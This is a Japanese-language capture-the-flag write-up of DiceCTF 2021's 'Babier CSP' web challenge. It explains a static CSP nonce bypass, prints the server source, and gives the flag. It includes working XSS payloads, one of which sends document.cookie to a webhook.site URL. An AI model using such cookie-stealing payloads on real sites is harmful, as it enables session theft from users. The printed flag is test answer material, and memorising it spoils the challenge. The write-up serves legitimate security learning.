DiceCTF 2021: Write up
Web
Babier CSP
XSSの脆弱性があるのはすぐわかるがふつうにscriptタグで指定してもjavascriptを実行できない。 ResponseヘッダをみてみるとCSPが指定されてることがわかる。
HTTP/1.1 200 OK Content-Length: 248 Content-Security-Policy: default-src none; script-src 'nonce-LRGWAXOY98Es0zz0QOVmag=='; Content-Type: text/html; charset=utf-8 Date: Sat, 06 Feb 2021 02:07:48 GMT Etag: W/"f8-z9RAqbkzF3OUjLrc8Hwyb3CplLk" X-Powered-By: Express Connection: close
しかし、CSPでnonceが常に同じ値が指定されているのでnonce属性を指定するとbypassできる。
https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=%27LRGWAXOY98Es0zz0QOVmag==%27%20%3Ealert(%22TEST%22);%3C/script%3E
あとはcookieをとってくるXSSのpayloadをadminにおくる。なぜかfetchがつかえなかった
https://babier-csp.dicec.tf/?name=<script nonce='LRGWAXOY98Es0zz0QOVmag==' >window.location=`https://webhook.site/7dfc6e39-1585-4c4e-831d-bac67880d15c/${document.cookie}`;</script>
secretはgetできたのでindex.js
をみてみると
const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '': `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) })
https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/
にアクセスできることがわかる。
Hi! You should view source! <!-- I'm glad you made it here, there's a flag! <b>dice{web_1s_a_stat3_0f_grac3_857720}</b> If you want more CSP, you should try Adult CSP. -->
flag: dice{web_1s_a_stat3_0f_grac3_857720}